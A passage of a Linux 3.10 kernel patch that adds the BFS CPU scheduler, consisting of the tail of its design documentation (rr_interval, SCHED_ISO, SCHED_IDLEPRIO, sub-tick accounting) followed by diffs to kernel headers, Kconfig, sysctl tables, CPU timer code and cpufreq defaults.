++only plays a part after that.
++
++When choosing an idle CPU for a waking task, the cache locality is determined
++according to where the task last ran and then idle CPUs are ranked from best
++to worst to choose the most suitable idle CPU based on cache locality, NUMA
++node locality and hyperthread sibling business. They are chosen in the
++following preference (if idle):
++
++* Same core, idle or busy cache, idle threads
++* Other core, same cache, idle or busy cache, idle threads.
++* Same node, other CPU, idle cache, idle threads.
++* Same node, other CPU, busy cache, idle threads.
++* Same core, busy threads.
++* Other core, same cache, busy threads.
++* Same node, other CPU, busy threads.
++* Other node, other CPU, idle cache, idle threads.
++* Other node, other CPU, busy cache, idle threads.
++* Other node, other CPU, busy threads.
++
++This shows the SMT or "hyperthread" awareness in the design as well which will
++choose a real idle core first before a logical SMT sibling which already has
++tasks on the physical CPU.
++
++Early benchmarking of BFS suggested scalability dropped off at the 16 CPU mark.
++However this benchmarking was performed on an earlier design that was far less
++scalable than the current one so it's hard to know how scalable it is in terms
++of both CPUs (due to the global runqueue) and heavily loaded machines (due to
++O(n) lookup) at this stage. Note that in terms of scalability, the number of
++_logical_ CPUs matters, not the number of _physical_ CPUs. Thus, a dual (2x)
++quad core (4X) hyperthreaded (2X) machine is effectively a 16X. Newer benchmark
++results are very promising indeed, without needing to tweak any knobs, features
++or options. Benchmark contributions are most welcome.
++
++
++Features
++
++As the initial prime target audience for BFS was the average desktop user, it
++was designed to not need tweaking, tuning or have features set to obtain benefit
++from it. Thus the number of knobs and features has been kept to an absolute
++minimum and should not require extra user input for the vast majority of cases.
++There are precisely 2 tunables, and 2 extra scheduling policies. The rr_interval
++and iso_cpu tunables, and the SCHED_ISO and SCHED_IDLEPRIO policies. In addition
++to this, BFS also uses sub-tick accounting. What BFS does _not_ now feature is
++support for CGROUPS. The average user should neither need to know what these
++are, nor should they need to be using them to have good desktop behaviour.
++
++rr_interval
++
++There is only one "scheduler" tunable, the round robin interval. This can be
++accessed in
++
++	/proc/sys/kernel/rr_interval
++
++The value is in milliseconds, and the default value is set to 6ms. Valid values
++are from 1 to 1000. Decreasing the value will decrease latencies at the cost of
++decreasing throughput, while increasing it will improve throughput, but at the
++cost of worsening latencies. The accuracy of the rr interval is limited by HZ
++resolution of the kernel configuration. Thus, the worst case latencies are
++usually slightly higher than this actual value. BFS uses "dithering" to try and
++minimise the effect the Hz limitation has. The default value of 6 is not an
++arbitrary one. It is based on the fact that humans can detect jitter at
++approximately 7ms, so aiming for much lower latencies is pointless under most
++circumstances. It is worth noting this fact when comparing the latency
++performance of BFS to other schedulers. Worst case latencies being higher than
++7ms are far worse than average latencies not being in the microsecond range.
++Experimentation has shown that rr intervals being increased up to 300 can
++improve throughput but beyond that, scheduling noise from elsewhere prevents
++further demonstrable throughput.
++
++Isochronous scheduling.
++
++Isochronous scheduling is a unique scheduling policy designed to provide
++near-real-time performance to unprivileged (ie non-root) users without the
++ability to starve the machine indefinitely. Isochronous tasks (which means
++"same time") are set using, for example, the schedtool application like so:
++
++	schedtool -I -e amarok
++
++This will start the audio application "amarok" as SCHED_ISO. How SCHED_ISO works
++is that it has a priority level between true realtime tasks and SCHED_NORMAL
++which would allow them to preempt all normal tasks, in a SCHED_RR fashion (ie,
++if multiple SCHED_ISO tasks are running, they purely round robin at rr_interval
++rate). However if ISO tasks run for more than a tunable finite amount of time,
++they are then demoted back to SCHED_NORMAL scheduling. This finite amount of
++time is the percentage of _total CPU_ available across the machine, configurable
++as a percentage in the following "resource handling" tunable (as opposed to a
++scheduler tunable):
++
++	/proc/sys/kernel/iso_cpu
++
++and is set to 70% by default. It is calculated over a rolling 5 second average
++Because it is the total CPU available, it means that on a multi CPU machine, it
++is possible to have an ISO task running as realtime scheduling indefinitely on
++just one CPU, as the other CPUs will be available. Setting this to 100 is the
++equivalent of giving all users SCHED_RR access and setting it to 0 removes the
++ability to run any pseudo-realtime tasks.
++
++A feature of BFS is that it detects when an application tries to obtain a
++realtime policy (SCHED_RR or SCHED_FIFO) and the caller does not have the
++appropriate privileges to use those policies. When it detects this, it will
++give the task SCHED_ISO policy instead. Thus it is transparent to the user.
++Because some applications constantly set their policy as well as their nice
++level, there is potential for them to undo the override specified by the user
++on the command line of setting the policy to SCHED_ISO. To counter this, once
++a task has been set to SCHED_ISO policy, it needs superuser privileges to set
++it back to SCHED_NORMAL. This will ensure the task remains ISO and all child
++processes and threads will also inherit the ISO policy.
++
++Idleprio scheduling.
++
++Idleprio scheduling is a scheduling policy designed to give out CPU to a task
++_only_ when the CPU would be otherwise idle. The idea behind this is to allow
++ultra low priority tasks to be run in the background that have virtually no
++effect on the foreground tasks. This is ideally suited to distributed computing
++clients (like setiathome, folding, mprime etc) but can also be used to start
++a video encode or so on without any slowdown of other tasks. To avoid this
++policy from grabbing shared resources and holding them indefinitely, if it
++detects a state where the task is waiting on I/O, the machine is about to
++suspend to ram and so on, it will transiently schedule them as SCHED_NORMAL. As
++per the Isochronous task management, once a task has been scheduled as IDLEPRIO,
++it cannot be put back to SCHED_NORMAL without superuser privileges. Tasks can
++be set to start as SCHED_IDLEPRIO with the schedtool command like so:
++
++	schedtool -D -e ./mprime
++
++Subtick accounting.
++
++It is surprisingly difficult to get accurate CPU accounting, and in many cases,
++the accounting is done by simply determining what is happening at the precise
++moment a timer tick fires off. This becomes increasingly inaccurate as the
++timer tick frequency (HZ) is lowered. It is possible to create an application
++which uses almost 100% CPU, yet by being descheduled at the right time, records
++zero CPU usage. While the main problem with this is that there are possible
++security implications, it is also difficult to determine how much CPU a task
++really does use. BFS tries to use the sub-tick accounting from the TSC clock,
++where possible, to determine real CPU usage. This is not entirely reliable, but
++is far more likely to produce accurate CPU usage data than the existing designs
++and will not show tasks as consuming no CPU usage when they actually are. Thus,
++the amount of CPU reported as being used by BFS will more accurately represent
++how much CPU the task itself is using (as is shown for example by the 'time'
++application), so the reported values may be quite different to other schedulers.
++Values reported as the 'load' are more prone to problems with this design, but
++per process values are closer to real usage. When comparing throughput of BFS
++to other designs, it is important to compare the actual completed work in terms
++of total wall clock time taken and total work done, rather than the reported
++"cpu usage".
++
++
++Con Kolivas <kernel@kolivas.org> Tue, 5 Apr 2011
+Index: linux-3.10-ck1/Documentation/sysctl/kernel.txt
+===================================================================
+--- linux-3.10-ck1.orig/Documentation/sysctl/kernel.txt	2013-07-09 17:28:57.123502084 +1000
++++ linux-3.10-ck1/Documentation/sysctl/kernel.txt	2013-07-09 17:29:00.837501924 +1000
+@@ -33,6 +33,7 @@
+ - domainname
+ - hostname
+ - hotplug
++- iso_cpu
+ - kptr_restrict
+ - kstack_depth_to_print       [ X86 only ]
+ - l2cr                        [ PPC only ]
+@@ -60,6 +61,7 @@
+ - randomize_va_space
+ - real-root-dev               ==> Documentation/initrd.txt
+ - reboot-cmd                  [ SPARC only ]
++- rr_interval
+ - rtsig-max
+ - rtsig-nr
+ - sem
+@@ -306,6 +308,16 @@
+ 
+ ==============================================================
+ 
++iso_cpu: (BFS CPU scheduler only).
++
++This sets the percentage cpu that the unprivileged SCHED_ISO tasks can
++run effectively at realtime priority, averaged over a rolling five
++seconds over the -whole- system, meaning all cpus.
++
++Set to 70 (percent) by default.
++
++==============================================================
++
+ l2cr: (PPC only)
+ 
+ This flag controls the L2 cache of G3 processor boards. If
+@@ -538,6 +550,20 @@
+ 
+ ==============================================================
+ 
++rr_interval: (BFS CPU scheduler only)
++
++This is the smallest duration that any cpu process scheduling unit
++will run for. Increasing this value can increase throughput of cpu
++bound tasks substantially but at the expense of increased latencies
++overall. Conversely decreasing it will decrease average and maximum
++latencies but at the expense of throughput. This value is in
++milliseconds and the default value chosen depends on the number of
++cpus available at scheduler initialisation with a minimum of 6.
++
++Valid values are from 1-1000.
++
++==============================================================
++
+ rtsig-max & rtsig-nr:
+ 
+ The file rtsig-max can be used to tune the maximum number
+Index: linux-3.10-ck1/fs/proc/base.c
+===================================================================
+--- linux-3.10-ck1.orig/fs/proc/base.c	2013-07-09 17:28:57.169502082 +1000
++++ linux-3.10-ck1/fs/proc/base.c	2013-07-09 17:29:00.838501924 +1000
+@@ -339,7 +339,7 @@
+ static int proc_pid_schedstat(struct task_struct *task, char *buffer)
+ {
+ 	return sprintf(buffer, "%llu %llu %lu\n",
+-			(unsigned long long)task->se.sum_exec_runtime,
++			(unsigned long long)tsk_seruntime(task),
+ 			(unsigned long long)task->sched_info.run_delay,
+ 			task->sched_info.pcount);
+ }
+Index: linux-3.10-ck1/include/linux/init_task.h
+===================================================================
+--- linux-3.10-ck1.orig/include/linux/init_task.h	2013-07-09 17:28:57.154502083 +1000
++++ linux-3.10-ck1/include/linux/init_task.h	2013-07-09 17:29:00.838501924 +1000
+@@ -152,12 +152,70 @@
+ # define INIT_VTIME(tsk)
+ #endif
+ 
+-#define INIT_TASK_COMM "swapper"
+-
+ /*
+  *  INIT_TASK is used to set up the first task table, touch at
+  * your own risk!. Base=0, limit=0x1fffff (=2MB)
+  */
++#ifdef CONFIG_SCHED_BFS
++#define INIT_TASK_COMM "BFS"
++#define INIT_TASK(tsk)	\
++{									\
++	.state		= 0,						\
++	.stack		= &init_thread_info,				\
++	.usage		= ATOMIC_INIT(2),				\
++	.flags		= PF_KTHREAD,					\
++	.prio		= NORMAL_PRIO,					\
++	.static_prio	= MAX_PRIO-20,					\
++	.normal_prio	= NORMAL_PRIO,					\
++	.deadline	= 0,						\
++	.policy		= SCHED_NORMAL,					\
++	.cpus_allowed	= CPU_MASK_ALL,					\
++	.mm		= NULL,						\
++	.active_mm	= &init_mm,					\
++	.run_list	= LIST_HEAD_INIT(tsk.run_list),			\
++	.time_slice	= HZ,					\
++	.tasks		= LIST_HEAD_INIT(tsk.tasks),			\
++	INIT_PUSHABLE_TASKS(tsk)					\
++	.ptraced	= LIST_HEAD_INIT(tsk.ptraced),			\
++	.ptrace_entry	= LIST_HEAD_INIT(tsk.ptrace_entry),		\
++	.real_parent	= &tsk,						\
++	.parent		= &tsk,						\
++	.children	= LIST_HEAD_INIT(tsk.children),			\
++	.sibling	= LIST_HEAD_INIT(tsk.sibling),			\
++	.group_leader	= &tsk,						\
++	RCU_POINTER_INITIALIZER(real_cred, &init_cred),			\
++	RCU_POINTER_INITIALIZER(cred, &init_cred),			\
++	.comm		= INIT_TASK_COMM,				\
++	.thread		= INIT_THREAD,					\
++	.fs		= &init_fs,					\
++	.files		= &init_files,					\
++	.signal		= &init_signals,				\
++	.sighand	= &init_sighand,				\
++	.nsproxy	= &init_nsproxy,				\
++	.pending	= {						\
++		.list = LIST_HEAD_INIT(tsk.pending.list),		\
++		.signal = {{0}}},					\
++	.blocked	= {{0}},					\
++	.alloc_lock	= __SPIN_LOCK_UNLOCKED(tsk.alloc_lock),		\
++	.journal_info	= NULL,						\
++	.cpu_timers	= INIT_CPU_TIMERS(tsk.cpu_timers),		\
++	.pi_lock	= __RAW_SPIN_LOCK_UNLOCKED(tsk.pi_lock),		\
++	.timer_slack_ns = 50000, /* 50 usec default slack */		\
++	.pids = {							\
++		[PIDTYPE_PID]  = INIT_PID_LINK(PIDTYPE_PID),		\
++		[PIDTYPE_PGID] = INIT_PID_LINK(PIDTYPE_PGID),		\
++		[PIDTYPE_SID]  = INIT_PID_LINK(PIDTYPE_SID),		\
++	},								\
++	INIT_IDS							\
++	INIT_PERF_EVENTS(tsk)						\
++	INIT_TRACE_IRQFLAGS						\
++	INIT_LOCKDEP							\
++	INIT_FTRACE_GRAPH						\
++	INIT_TRACE_RECURSION						\
++	INIT_TASK_RCU_PREEMPT(tsk)					\
++}
++#else /* CONFIG_SCHED_BFS */
++#define INIT_TASK_COMM "swapper"
+ #define INIT_TASK(tsk)	\
+ {									\
+ 	.state		= 0,						\
+@@ -223,7 +281,7 @@
+ 	INIT_CPUSET_SEQ							\
+ 	INIT_VTIME(tsk)							\
+ }
+-
++#endif /* CONFIG_SCHED_BFS */
+ 
+ #define INIT_CPU_TIMERS(cpu_timers)					\
+ {									\
+Index: linux-3.10-ck1/include/linux/ioprio.h
+===================================================================
+--- linux-3.10-ck1.orig/include/linux/ioprio.h	2013-07-09 17:28:57.146502083 +1000
++++ linux-3.10-ck1/include/linux/ioprio.h	2013-07-09 17:29:00.838501924 +1000
+@@ -52,6 +52,8 @@
+  */
+ static inline int task_nice_ioprio(struct task_struct *task)
+ {
++	if (iso_task(task))
++		return 0;
+ 	return (task_nice(task) + 20) / 5;
+ }
+ 
+Index: linux-3.10-ck1/include/linux/sched.h
+===================================================================
+--- linux-3.10-ck1.orig/include/linux/sched.h	2013-07-09 17:28:57.163502082 +1000
++++ linux-3.10-ck1/include/linux/sched.h	2013-07-09 17:29:00.839501924 +1000
+@@ -229,8 +229,6 @@
+ extern void init_idle(struct task_struct *idle, int cpu);
+ extern void init_idle_bootup_task(struct task_struct *idle);
+ 
+-extern int runqueue_is_locked(int cpu);
+-
+ #if defined(CONFIG_SMP) && defined(CONFIG_NO_HZ_COMMON)
+ extern void nohz_balance_enter_idle(int cpu);
+ extern void set_cpu_sd_state_idle(void);
+@@ -1040,18 +1038,35 @@
+ 
+ #ifdef CONFIG_SMP
+ 	struct llist_node wake_entry;
+-	int on_cpu;
+ #endif
+-	int on_rq;
++#if defined(CONFIG_SMP) || defined(CONFIG_SCHED_BFS)
++	bool on_cpu;
++#endif
++#ifndef CONFIG_SCHED_BFS
++	bool on_rq;
++#endif
+ 
+ 	int prio, static_prio, normal_prio;
+ 	unsigned int rt_priority;
++#ifdef CONFIG_SCHED_BFS
++	int time_slice;
++	u64 deadline;
++	struct list_head run_list;
++	u64 last_ran;
++	u64 sched_time; /* sched_clock time spent running */
++#ifdef CONFIG_SMP
++	bool sticky; /* Soft affined flag */
++#endif
++	unsigned long rt_timeout;
++#else /* CONFIG_SCHED_BFS */
+ 	const struct sched_class *sched_class;
+ 	struct sched_entity se;
+ 	struct sched_rt_entity rt;
++
+ #ifdef CONFIG_CGROUP_SCHED
+ 	struct task_group *sched_task_group;
+ #endif
++#endif
+ 
+ #ifdef CONFIG_PREEMPT_NOTIFIERS
+ 	/* list of struct preempt_notifier: */
+@@ -1162,6 +1177,9 @@
+ 	int __user *clear_child_tid;		/* CLONE_CHILD_CLEARTID */
+ 
+ 	cputime_t utime, stime, utimescaled, stimescaled;
++#ifdef CONFIG_SCHED_BFS
++	unsigned long utime_pc, stime_pc;
++#endif
+ 	cputime_t gtime;
+ #ifndef CONFIG_VIRT_CPU_ACCOUNTING_NATIVE
+ 	struct cputime prev_cputime;
+@@ -1418,6 +1436,64 @@
+ #endif
+ };
+ 
++#ifdef CONFIG_SCHED_BFS
++bool grunqueue_is_locked(void);
++void grq_unlock_wait(void);
++void cpu_scaling(int cpu);
++void cpu_nonscaling(int cpu);
++bool above_background_load(void);
++#define tsk_seruntime(t)		((t)->sched_time)
++#define tsk_rttimeout(t)		((t)->rt_timeout)
++
++static inline void tsk_cpus_current(struct task_struct *p)
++{
++}
++
++static inline int runqueue_is_locked(int cpu)
++{
++	return grunqueue_is_locked();
++}
++
++void print_scheduler_version(void);
++
++static inline bool iso_task(struct task_struct *p)
++{
++	return (p->policy == SCHED_ISO);
++}
++#else /* CFS */
++extern int runqueue_is_locked(int cpu);
++static inline void cpu_scaling(int cpu)
++{
++}
++
++static inline void cpu_nonscaling(int cpu)
++{
++}
++#define tsk_seruntime(t)	((t)->se.sum_exec_runtime)
++#define tsk_rttimeout(t)	((t)->rt.timeout)
++
++static inline void tsk_cpus_current(struct task_struct *p)
++{
++	p->nr_cpus_allowed = current->nr_cpus_allowed;
++}
++
++static inline void print_scheduler_version(void)
++{
++	printk(KERN_INFO"CFS CPU scheduler.\n");
++}
++
++static inline bool iso_task(struct task_struct *p)
++{
++	return false;
++}
++
++/* Anyone feel like implementing this? */
++static inline bool above_background_load(void)
++{
++	return false;
++}
++#endif /* CONFIG_SCHED_BFS */
++
+ /* Future-safe accessor for struct task_struct's cpus_allowed. */
+ #define tsk_cpus_allowed(tsk) (&(tsk)->cpus_allowed)
+ 
+@@ -1844,7 +1920,7 @@
+ task_sched_runtime(struct task_struct *task);
+ 
+ /* sched_exec is called by processes performing an exec */
+-#ifdef CONFIG_SMP
++#if defined(CONFIG_SMP) && !defined(CONFIG_SCHED_BFS)
+ extern void sched_exec(void);
+ #else
+ #define sched_exec()   {}
+@@ -2549,7 +2625,7 @@
+ 	return 0;
+ }
+ 
+-static inline void set_task_cpu(struct task_struct *p, unsigned int cpu)
++static inline void set_task_cpu(struct task_struct *p, int cpu)
+ {
+ }
+ 
+Index: linux-3.10-ck1/init/Kconfig
+===================================================================
+--- linux-3.10-ck1.orig/init/Kconfig	2013-07-09 17:28:57.132502084 +1000
++++ linux-3.10-ck1/init/Kconfig	2013-07-09 17:29:00.839501924 +1000
+@@ -28,6 +28,20 @@
+ 
+ menu "General setup"
+ 
++config SCHED_BFS
++	bool "BFS cpu scheduler"
++	---help---
++	  The Brain Fuck CPU Scheduler for excellent interactivity and
++	  responsiveness on the desktop and solid scalability on normal
++          hardware and commodity servers. Not recommended for 4096 CPUs.
++
++	  Currently incompatible with the Group CPU scheduler, and RCU TORTURE
++          TEST so these options are disabled.
++
++          Say Y here.
++	default y
++
++
+ config BROKEN
+ 	bool
+ 
+@@ -302,7 +316,7 @@
+ # Kind of a stub config for the pure tick based cputime accounting
+ config TICK_CPU_ACCOUNTING
+ 	bool "Simple tick based cputime accounting"
+-	depends on !S390 && !NO_HZ_FULL
++	depends on !S390 && !NO_HZ_FULL && !SCHED_BFS
+ 	help
+ 	  This is the basic tick based cputime accounting that maintains
+ 	  statistics about user, system and idle time spent on per jiffies
+@@ -325,7 +339,7 @@
+ 
+ config VIRT_CPU_ACCOUNTING_GEN
+ 	bool "Full dynticks CPU time accounting"
+-	depends on HAVE_CONTEXT_TRACKING && 64BIT
++	depends on HAVE_CONTEXT_TRACKING && 64BIT && !SCHED_BFS
+ 	select VIRT_CPU_ACCOUNTING
+ 	select CONTEXT_TRACKING
+ 	help
+@@ -795,6 +809,7 @@
+ 	depends on ARCH_SUPPORTS_NUMA_BALANCING
+ 	depends on !ARCH_WANT_NUMA_VARIABLE_LOCALITY
+ 	depends on SMP && NUMA && MIGRATION
++	depends on !SCHED_BFS
+ 	help
+ 	  This option adds support for automatic NUMA aware memory/task placement.
+ 	  The mechanism is quite primitive and is based on migrating memory when
+@@ -857,6 +872,7 @@
+ 
+ config CGROUP_CPUACCT
+ 	bool "Simple CPU accounting cgroup subsystem"
++	depends on !SCHED_BFS
+ 	help
+ 	  Provides a simple Resource Controller for monitoring the
+ 	  total CPU consumed by the tasks in a cgroup.
+@@ -959,6 +975,7 @@
+ 
+ menuconfig CGROUP_SCHED
+ 	bool "Group CPU scheduler"
++	depends on !SCHED_BFS
+ 	default n
+ 	help
+ 	  This feature lets CPU scheduler recognize task groups and control CPU
+@@ -1123,6 +1140,7 @@
+ 
+ config SCHED_AUTOGROUP
+ 	bool "Automatic process group scheduling"
++	depends on !SCHED_BFS
+ 	select EVENTFD
+ 	select CGROUPS
+ 	select CGROUP_SCHED
+@@ -1526,38 +1544,8 @@
+ 
+ 	  On non-ancient distros (post-2000 ones) N is usually a safe choice.
+ 
+-choice
+-	prompt "Choose SLAB allocator"
+-	default SLUB
+-	help
+-	   This option allows to select a slab allocator.
+-
+-config SLAB
+-	bool "SLAB"
+-	help
+-	  The regular slab allocator that is established and known to work
+-	  well in all environments. It organizes cache hot objects in
+-	  per cpu and per node queues.
+-
+ config SLUB
+-	bool "SLUB (Unqueued Allocator)"
+-	help
+-	   SLUB is a slab allocator that minimizes cache line usage
+-	   instead of managing queues of cached objects (SLAB approach).
+-	   Per cpu caching is realized using slabs of objects instead
+-	   of queues of objects. SLUB can use memory efficiently
+-	   and has enhanced diagnostics. SLUB is the default choice for
+-	   a slab allocator.
+-
+-config SLOB
+-	depends on EXPERT
+-	bool "SLOB (Simple Allocator)"
+-	help
+-	   SLOB replaces the stock allocator with a drastically simpler
+-	   allocator. SLOB is generally more space efficient but
+-	   does not perform as well on large systems.
+-
+-endchoice
++	def_bool y
+ 
+ config MMAP_ALLOW_UNINITIALIZED
+ 	bool "Allow mmapped anonymous memory to be uninitialized"
+Index: linux-3.10-ck1/init/main.c
+===================================================================
+--- linux-3.10-ck1.orig/init/main.c	2013-07-09 17:28:57.127502084 +1000
++++ linux-3.10-ck1/init/main.c	2013-07-09 17:29:00.839501924 +1000
+@@ -700,7 +700,6 @@
+ 	return ret;
+ }
+ 
+-
+ extern initcall_t __initcall_start[];
+ extern initcall_t __initcall0_start[];
+ extern initcall_t __initcall1_start[];
+@@ -820,6 +819,8 @@
+ 
+ 	flush_delayed_fput();
+ 
++	print_scheduler_version();
++
+ 	if (ramdisk_execute_command) {
+ 		if (!run_init_process(ramdisk_execute_command))
+ 			return 0;
+Index: linux-3.10-ck1/kernel/delayacct.c
+===================================================================
+--- linux-3.10-ck1.orig/kernel/delayacct.c	2013-07-09 17:28:57.202502081 +1000
++++ linux-3.10-ck1/kernel/delayacct.c	2013-07-09 17:29:00.839501924 +1000
+@@ -133,7 +133,7 @@
+ 	 */
+ 	t1 = tsk->sched_info.pcount;
+ 	t2 = tsk->sched_info.run_delay;
+-	t3 = tsk->se.sum_exec_runtime;
++	t3 = tsk_seruntime(tsk);
+ 
+ 	d->cpu_count += t1;
+ 
+Index: linux-3.10-ck1/kernel/exit.c
+===================================================================
+--- linux-3.10-ck1.orig/kernel/exit.c	2013-07-09 17:28:57.186502081 +1000
++++ linux-3.10-ck1/kernel/exit.c	2013-07-09 17:29:00.839501924 +1000
+@@ -135,7 +135,7 @@
+ 		sig->inblock += task_io_get_inblock(tsk);
+ 		sig->oublock += task_io_get_oublock(tsk);
+ 		task_io_accounting_add(&sig->ioac, &tsk->ioac);
+-		sig->sum_sched_runtime += tsk->se.sum_exec_runtime;
++		sig->sum_sched_runtime += tsk_seruntime(tsk);
+ 	}
+ 
+ 	sig->nr_threads--;
+Index: linux-3.10-ck1/kernel/posix-cpu-timers.c
+===================================================================
+--- linux-3.10-ck1.orig/kernel/posix-cpu-timers.c	2013-07-09 17:28:57.182502082 +1000
++++ linux-3.10-ck1/kernel/posix-cpu-timers.c	2013-07-09 17:29:00.840501924 +1000
+@@ -498,11 +498,11 @@
+ {
+ 	cputime_t utime, stime;
+ 
+-	add_device_randomness((const void*) &tsk->se.sum_exec_runtime,
++	add_device_randomness((const void*) &tsk_seruntime(tsk),
+ 						sizeof(unsigned long long));
+ 	task_cputime(tsk, &utime, &stime);
+ 	cleanup_timers(tsk->cpu_timers,
+-		       utime, stime, tsk->se.sum_exec_runtime);
++		       utime, stime, tsk_seruntime(tsk));
+ 
+ }
+ void posix_cpu_timers_exit_group(struct task_struct *tsk)
+@@ -513,7 +513,7 @@
+ 	task_cputime(tsk, &utime, &stime);
+ 	cleanup_timers(tsk->signal->cpu_timers,
+ 		       utime + sig->utime, stime + sig->stime,
+-		       tsk->se.sum_exec_runtime + sig->sum_sched_runtime);
++		       tsk_seruntime(tsk) + sig->sum_sched_runtime);
+ }
+ 
+ static void clear_dead_task(struct k_itimer *timer, union cpu_time_count now)
+@@ -976,7 +976,7 @@
+ 		struct cpu_timer_list *t = list_first_entry(timers,
+ 						      struct cpu_timer_list,
+ 						      entry);
+-		if (!--maxfire || tsk->se.sum_exec_runtime < t->expires.sched) {
++		if (!--maxfire || tsk_seruntime(tsk) < t->expires.sched) {
+ 			tsk->cputime_expires.sched_exp = t->expires.sched;
+ 			break;
+ 		}
+@@ -993,7 +993,7 @@
+ 			ACCESS_ONCE(sig->rlim[RLIMIT_RTTIME].rlim_max);
+ 
+ 		if (hard != RLIM_INFINITY &&
+-		    tsk->rt.timeout > DIV_ROUND_UP(hard, USEC_PER_SEC/HZ)) {
++		    tsk_rttimeout(tsk) > DIV_ROUND_UP(hard, USEC_PER_SEC/HZ)) {
+ 			/*
+ 			 * At the hard limit, we just die.
+ 			 * No need to calculate anything else now.
+@@ -1001,7 +1001,7 @@
+ 			__group_send_sig_info(SIGKILL, SEND_SIG_PRIV, tsk);
+ 			return;
+ 		}
+-		if (tsk->rt.timeout > DIV_ROUND_UP(soft, USEC_PER_SEC/HZ)) {
++		if (tsk_rttimeout(tsk) > DIV_ROUND_UP(soft, USEC_PER_SEC/HZ)) {
+ 			/*
+ 			 * At the soft limit, send a SIGXCPU every second.
+ 			 */
+@@ -1282,7 +1282,7 @@
+ 		struct task_cputime task_sample = {
+ 			.utime = utime,
+ 			.stime = stime,
+-			.sum_exec_runtime = tsk->se.sum_exec_runtime
++			.sum_exec_runtime = tsk_seruntime(tsk)
+ 		};
+ 
+ 		if (task_cputime_expired(&task_sample, &tsk->cputime_expires))
+Index: linux-3.10-ck1/kernel/sysctl.c
+===================================================================
+--- linux-3.10-ck1.orig/kernel/sysctl.c	2013-07-09 17:28:57.173502082 +1000
++++ linux-3.10-ck1/kernel/sysctl.c	2013-07-09 17:29:00.840501924 +1000
+@@ -128,7 +128,12 @@
+ static int __maybe_unused two = 2;
+ static int __maybe_unused three = 3;
+ static unsigned long one_ul = 1;
+-static int one_hundred = 100;
++static int __maybe_unused one_hundred = 100;
++#ifdef CONFIG_SCHED_BFS
++extern int rr_interval;
++extern int sched_iso_cpu;
++static int __read_mostly one_thousand = 1000;
++#endif
+ #ifdef CONFIG_PRINTK
+ static int ten_thousand = 10000;
+ #endif
+@@ -256,7 +261,7 @@
+ 	{ }
+ };
+ 
+-#ifdef CONFIG_SCHED_DEBUG
++#if defined(CONFIG_SCHED_DEBUG) && !defined(CONFIG_SCHED_BFS)
+ static int min_sched_granularity_ns = 100000;		/* 100 usecs */
+ static int max_sched_granularity_ns = NSEC_PER_SEC;	/* 1 second */
+ static int min_wakeup_granularity_ns;			/* 0 usecs */
+@@ -273,6 +278,7 @@
+ #endif
+ 
+ static struct ctl_table kern_table[] = {
++#ifndef CONFIG_SCHED_BFS
+ 	{
+ 		.procname	= "sched_child_runs_first",
+ 		.data		= &sysctl_sched_child_runs_first,
+@@ -436,6 +442,7 @@
+ 		.extra1		= &one,
+ 	},
+ #endif
++#endif /* !CONFIG_SCHED_BFS */
+ #ifdef CONFIG_PROVE_LOCKING
+ 	{
+ 		.procname	= "prove_locking",
+@@ -907,6 +914,26 @@
+ 		.proc_handler	= proc_dointvec,
+ 	},
+ #endif
++#ifdef CONFIG_SCHED_BFS
++	{
++		.procname	= "rr_interval",
++		.data		= &rr_interval,
++		.maxlen		= sizeof (int),
++		.mode		= 0644,
++		.proc_handler	= &proc_dointvec_minmax,
++		.extra1		= &one,
++		.extra2		= &one_thousand,
++	},
++	{
++		.procname	= "iso_cpu",
++		.data		= &sched_iso_cpu,
++		.maxlen		= sizeof (int),
++		.mode		= 0644,
++		.proc_handler	= &proc_dointvec_minmax,
++		.extra1		= &zero,
++		.extra2		= &one_hundred,
++	},
++#endif
+ #if defined(CONFIG_S390) && defined(CONFIG_SMP)
+ 	{
+ 		.procname	= "spin_retry",
+Index: linux-3.10-ck1/lib/Kconfig.debug
+===================================================================
+--- linux-3.10-ck1.orig/lib/Kconfig.debug	2013-07-09 17:28:57.137502083 +1000
++++ linux-3.10-ck1/lib/Kconfig.debug	2013-07-09 17:29:00.840501924 +1000
+@@ -940,7 +940,7 @@
+ 
+ config RCU_TORTURE_TEST
+ 	tristate "torture tests for RCU"
+-	depends on DEBUG_KERNEL
++	depends on DEBUG_KERNEL && !SCHED_BFS
+ 	default n
+ 	help
+ 	  This option provides a kernel module that runs torture tests
+Index: linux-3.10-ck1/include/linux/jiffies.h
+===================================================================
+--- linux-3.10-ck1.orig/include/linux/jiffies.h	2013-07-09 17:28:57.150502083 +1000
++++ linux-3.10-ck1/include/linux/jiffies.h	2013-07-09 17:29:00.840501924 +1000
+@@ -159,7 +159,7 @@
+  * Have the 32 bit jiffies value wrap 5 minutes after boot
+  * so jiffies wrap bugs show up earlier.
+  */
+-#define INITIAL_JIFFIES ((unsigned long)(unsigned int) (-300*HZ))
++#define INITIAL_JIFFIES ((unsigned long)(unsigned int) (-10*HZ))
+ 
+ /*
+  * Change timeval to jiffies, trying to avoid the
+Index: linux-3.10-ck1/drivers/cpufreq/cpufreq.c
+===================================================================
+--- linux-3.10-ck1.orig/drivers/cpufreq/cpufreq.c	2013-07-09 17:28:57.224502080 +1000
++++ linux-3.10-ck1/drivers/cpufreq/cpufreq.c	2013-07-09 17:29:00.841501924 +1000
+@@ -30,6 +30,7 @@
+ #include <linux/cpu.h>
+ #include <linux/completion.h>
+ #include <linux/mutex.h>
++#include <linux/sched.h>
+ #include <linux/syscore_ops.h>
+ 
+ #include <trace/events/power.h>
+@@ -1473,6 +1474,12 @@
+ 
+ 	if (cpufreq_driver->target)
+ 		retval = cpufreq_driver->target(policy, target_freq, relation);
++	if (likely(retval != -EINVAL)) {
++		if (target_freq == policy->max)
++			cpu_nonscaling(policy->cpu);
++		else
++			cpu_scaling(policy->cpu);
++	}
+ 
+ 	return retval;
+ }
+Index: linux-3.10-ck1/drivers/cpufreq/cpufreq_ondemand.c
+===================================================================
+--- linux-3.10-ck1.orig/drivers/cpufreq/cpufreq_ondemand.c	2013-07-09 17:28:57.214502080 +1000
++++ linux-3.10-ck1/drivers/cpufreq/cpufreq_ondemand.c	2013-07-09 17:29:00.841501924 +1000
+@@ -29,8 +29,8 @@
+ #include "cpufreq_governor.h"
+ 
+ /* On-demand governor macros */
+-#define DEF_FREQUENCY_DOWN_DIFFERENTIAL		(10)
+-#define DEF_FREQUENCY_UP_THRESHOLD		(80)
++#define DEF_FREQUENCY_DOWN_DIFFERENTIAL		(26)
++#define DEF_FREQUENCY_UP_THRESHOLD		(63)
+ #define DEF_SAMPLING_DOWN_FACTOR		(1)
+ #define MAX_SAMPLING_DOWN_FACTOR		(100000)
+ #define MICRO_FREQUENCY_DOWN_DIFFERENTIAL	(3)
